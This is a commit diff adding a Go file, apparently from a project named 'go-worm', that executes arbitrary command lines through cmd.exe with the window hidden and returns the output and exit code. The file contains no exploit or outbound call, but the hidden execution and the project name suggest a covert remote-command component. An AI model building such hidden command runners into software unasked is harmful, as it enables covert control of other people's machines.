Initial commit with project setup and basic structure established.

lib/command/command.go

@@ -0,0 +1,62 @@
+package command
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"os/exec"
+	"syscall"
+	"time"
+
+	"golang.org/x/sys/windows"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+)
+
+var (
+	ErrEmptyCommand = errors.New("command must not be empty")
+	ErrBadTimeout   = errors.New("timeout_sec must be zero or positive")
+	ErrTimeout      = errors.New("command timed out")
+)
+
+func ResolveTimeout(seconds int) (time.Duration, error) {
+	if seconds < 0 {
+		return 0, ErrBadTimeout
+	}
+	if seconds == 0 {
+		seconds = config.DefaultExecTO
+	}
+	if seconds > config.MaxExecTO {
+		seconds = config.MaxExecTO
+	}
+	return time.Duration(seconds) * time.Second, nil
+}
+
+func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
+	cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline)
+	cmd.SysProcAttr = &syscall.SysProcAttr{
+		HideWindow:    true,
+		CreationFlags: windows.CREATE_NO_WINDOW,
+	}
+	var stdout, stderr bytes.Buffer
+	cmd.Stdout = &stdout
+	cmd.Stderr = &stderr
+	err := cmd.Run()
+	if ctx.Err() == context.DeadlineExceeded {
+		return models.ExecResponse{}, ErrTimeout
+	}
+	exitCode := 0
+	if err != nil {
+		var exitErr *exec.ExitError
+		if !errors.As(err, &exitErr) {
+			return models.ExecResponse{}, err
+		}
+		exitCode = exitErr.ExitCode()
+	}
+	return models.ExecResponse{
+		ExitCode: exitCode,
+		Stdout:   stdout.String(),
+		Stderr:   stderr.String(),
+	}, nil
+}